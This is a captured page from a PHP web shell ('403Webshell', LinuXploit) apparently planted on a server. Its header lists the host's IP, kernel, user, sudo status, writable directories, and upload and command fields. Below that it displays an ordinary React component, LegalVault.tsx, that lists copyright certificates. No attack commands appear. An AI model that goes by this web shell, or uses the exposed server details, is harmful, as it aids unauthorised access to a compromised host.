403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.copyrightchain.it/copyrightchain_app/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.copyrightchain.it/copyrightchain_app/components/LegalVault.tsx
import React, { useMemo, useState } from 'react';
import { Search, Filter, Grid, List, Download, Eye, ExternalLink, Archive, ShieldCheck, MoreVertical, FolderOpen, FileText, ChevronRight, UserCheck, ShieldAlert } from 'lucide-react';
import { Certificate, Language, IdentityData } from '../types';
import { translations } from '../translations';
import IdentityPortal from './IdentityPortal';

interface LegalVaultProps {
  certificates: Certificate[];
  onViewCert: (cert: Certificate) => void;
  lang: Language;
  userIdentity: IdentityData;
  onUserIdentityUpdate: (data: IdentityData) => void;
}

const LegalVault: React.FC<LegalVaultProps> = ({ certificates, onViewCert, lang, userIdentity, onUserIdentityUpdate }) => {
  const t = useMemo(() => translations[lang], [lang]);
  const [searchTerm, setSearchTerm] = useState('');
  const [viewMode, setViewMode] = useState<'grid' | 'list'>('grid');
  const [showIdentityPortal, setShowIdentityPortal] = useState(false);

  const filteredCerts = certificates.filter(c => 
    c.title.toLowerCase().includes(searchTerm.toLowerCase()) || 
    c.fileName.toLowerCase().includes(searchTerm.toLowerCase())
  );

  return (
    <div className="space-y-8">
      {showIdentityPortal && (
        <IdentityPortal 
          lang={lang} 
          onVerified={(data) => { onUserIdentityUpdate(data); setShowIdentityPortal(false); }} 
          onClose={() => setShowIdentityPortal(false)} 
        />
      )}

      <div className="flex flex-col lg:flex-row justify-between items-start lg:items-center gap-6">
        <div>
          <h2 className="text-3xl font-black text-slate-900 tracking-tight flex items-center gap-4">
            <Archive className="text-blue-600" size={32} /> {t.legalVault}
          </h2>
          <p className="text-slate-500 font-medium mt-1">{t.vaultDesc}</p>
        </div>

        <div className="flex flex-wrap items-center gap-4 w-full lg:w-auto">
          {userIdentity.verified ? (
            <div className="bg-emerald-50 text-emerald-700 px-6 py-3 rounded-2xl flex items-center gap-3 border border-emerald-100 shadow-sm animate-in fade-in">
              <UserCheck size={20} />
              <div className="flex flex-col">
                <span className="text-[10px] font-black uppercase tracking-widest">{t.identityVerified}</span>
                <span className="text-xs font-bold">{userIdentity.fullName}</span>
              </div>
            </div>
          ) : (
            <button 
              onClick={() => setShowIdentityPortal(true)}
              className="bg-slate-900 text-white px-6 py-3 rounded-2xl flex items-center gap-3 shadow-xl hover:-translate-y-1 transition-all"
            >
              <ShieldAlert size={20} className="text-orange-400" />
              <span className="text-[10px] font-black uppercase tracking-widest">{t.verifyIdentity}</span>
            </button>
          )}

          <div className="relative flex-1 md:w-80">
            <Search className="absolute left-4 top-1/2 -translate-y-1/2 text-slate-400" size={18} />
            <input 
              type="text" 
              placeholder="Cerca tra le tue opere..."
              value={searchTerm}
              onChange={(e) => setSearchTerm(e.target.value)}
              className="w-full pl-12 pr-4 py-3 rounded-2xl border border-slate-100 bg-white shadow-sm focus:ring-4 focus:ring-blue-500/10 focus:border-blue-500 outline-none transition-all font-medium text-slate-700"
            />
          </div>
          <div className="flex bg-white p-1 rounded-xl border border-slate-100 shadow-sm">
            <button 
              onClick={() => setViewMode('grid')}
              className={`p-2 rounded-lg transition-all ${viewMode === 'grid' ? 'bg-slate-100 text-blue-600' : 'text-slate-400'}`}
            >
              <Grid size={18} />
            </button>
            <button 
              onClick={() => setViewMode('list')}
              className={`p-2 rounded-lg transition-all ${viewMode === 'list' ? 'bg-slate-100 text-blue-600' : 'text-slate-400'}`}
            >
              <List size={18} />
            </button>
          </div>
        </div>
      </div>

      {filteredCerts.length === 0 ? (
        <div className="bg-white border-2 border-dashed border-slate-100 rounded-[3rem] p-20 text-center">
            <div className="w-24 h-24 bg-slate-50 rounded-[2.5rem] flex items-center justify-center mx-auto mb-6 text-slate-200">
                <FolderOpen size={48} />
            </div>
            <h3 className="text-xl font-black text-slate-900 mb-2">Nessun file nel caveau</h3>
            <p className="text-slate-400 font-medium max-w-xs mx-auto">Inizia a certificare le tue opere per vederle apparire qui nel tuo archivio protetto.</p>
        </div>
      ) : viewMode === 'grid' ? (
        <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 xl:grid-cols-4 gap-6">
          {filteredCerts.map(cert => (
            <VaultCard key={cert.id} cert={cert} onClick={() => onViewCert(cert)} lang={lang} />
          ))}
        </div>
      ) : (
        <div className="bg-white rounded-[2.5rem] border border-slate-100 shadow-sm overflow-hidden">
          <table className="w-full">
            <thead>
              <tr className="bg-slate-50/50 border-b border-slate-100">
                <th className="px-6 py-4 text-left text-[10px] font-black text-slate-400 uppercase tracking-widest">Titolo Opera</th>
                <th className="px-6 py-4 text-left text-[10px] font-black text-slate-400 uppercase tracking-widest">Data Deposito</th>
                <th className="px-6 py-4 text-left text-[10px] font-black text-slate-400 uppercase tracking-widest">Protezione</th>
                <th className="px-6 py-4 text-right text-[10px] font-black text-slate-400 uppercase tracking-widest">Azioni</th>
              </tr>
            </thead>
            <tbody className="divide-y divide-slate-50">
              {filteredCerts.map(cert => (
                <tr key={cert.id} className="hover:bg-slate-50/50 transition-colors group cursor-pointer" onClick={() => onViewCert(cert)}>
                  <td className="px-6 py-5">
                    <div className="flex items-center gap-4">
                      <div className="w-10 h-10 bg-blue-50 rounded-xl flex items-center justify-center text-blue-600">
                        <FileText size={20} />
                      </div>
                      <div>
                        <p className="font-black text-slate-900 text-sm tracking-tight">{cert.title}</p>
                        <p className="text-[10px] text-slate-400 font-bold uppercase truncate max-w-[150px]">{cert.fileName}</p>
                      </div>
                    </div>
                  </td>
                  <td className="px-6 py-5">
                    <p className="text-xs font-bold text-slate-600">{new Date(cert.timestamp).toLocaleDateString()}</p>
                  </td>
                  <td className="px-6 py-5">
                    <div className="flex items-center gap-2">
                       <span className={`text-[9px] font-black px-2 py-0.5 rounded-full uppercase tracking-tighter ${cert.tier === 'enterprise' ? 'bg-indigo-100 text-indigo-700' : cert.tier === 'pro' ? 'bg-blue-100 text-blue-700' : 'bg-slate-100 text-slate-600'}`}>
                         {cert.tier || 'basic'}
                       </span>
                    </div>
                  </td>
                  <td className="px-6 py-5 text-right">
                    <button className="p-2 text-slate-400 hover:text-blue-600 transition">
                      <ChevronRight size={20} />
                    </button>
                  </td>
                </tr>
              ))}
            </tbody>
          </table>
        </div>
      )}
    </div>
  );
};

const VaultCard = ({ cert, onClick, lang }: { cert: Certificate, onClick: () => void, lang: string, key?: any }) => (
  <div 
    onClick={onClick}
    className="bg-white rounded-[2rem] p-6 border border-slate-100 shadow-sm hover:shadow-xl hover:shadow-slate-100 hover:-translate-y-1 transition-all duration-500 cursor-pointer group flex flex-col h-full"
  >
    <div className="flex justify-between items-start mb-6">
      <div className="w-12 h-12 bg-slate-50 rounded-2xl flex items-center justify-center text-slate-400 group-hover:bg-blue-600 group-hover:text-white transition-all duration-500 shadow-inner">
        <FileText size={24} />
      </div>
      <div className="flex flex-col items-end gap-1">
        <span className={`text-[8px] font-black px-2 py-0.5 rounded-full uppercase tracking-widest ${cert.paymentStatus === 'paid' ? 'bg-emerald-50 text-emerald-600' : 'bg-orange-50 text-orange-600'}`}>
          {cert.paymentStatus}
        </span>
        {cert.bitcoinEvidence && (
          <div className="bg-orange-500 text-white p-1 rounded-md" title="Bitcoin Anchored"><ShieldCheck size={12} /></div>
        )}
      </div>
    </div>
    
    <div className="flex-1">
      <h4 className="font-black text-slate-900 text-lg tracking-tight mb-1 group-hover:text-blue-600 transition-colors uppercase leading-none">{cert.title}</h4>
      <p className="text-[10px] text-slate-400 font-bold uppercase tracking-widest mb-4 truncate">{cert.fileName}</p>
    </div>

    <div className="pt-6 border-t border-slate-50 flex items-center justify-between">
      <div className="flex flex-col">
        <span className="text-[9px] font-black text-slate-300 uppercase tracking-widest">Data</span>
        <span className="text-xs font-bold text-slate-700">{new Date(cert.timestamp).toLocaleDateString()}</span>
      </div>
      <button className="bg-slate-50 text-slate-400 p-2.5 rounded-xl group-hover:bg-blue-50 group-hover:text-blue-600 transition-all">
        <Eye size={18} />
      </button>
    </div>
  </div>
);

export default LegalVault;

Youez - 2016 - github.com/yon3zu
LinuXploit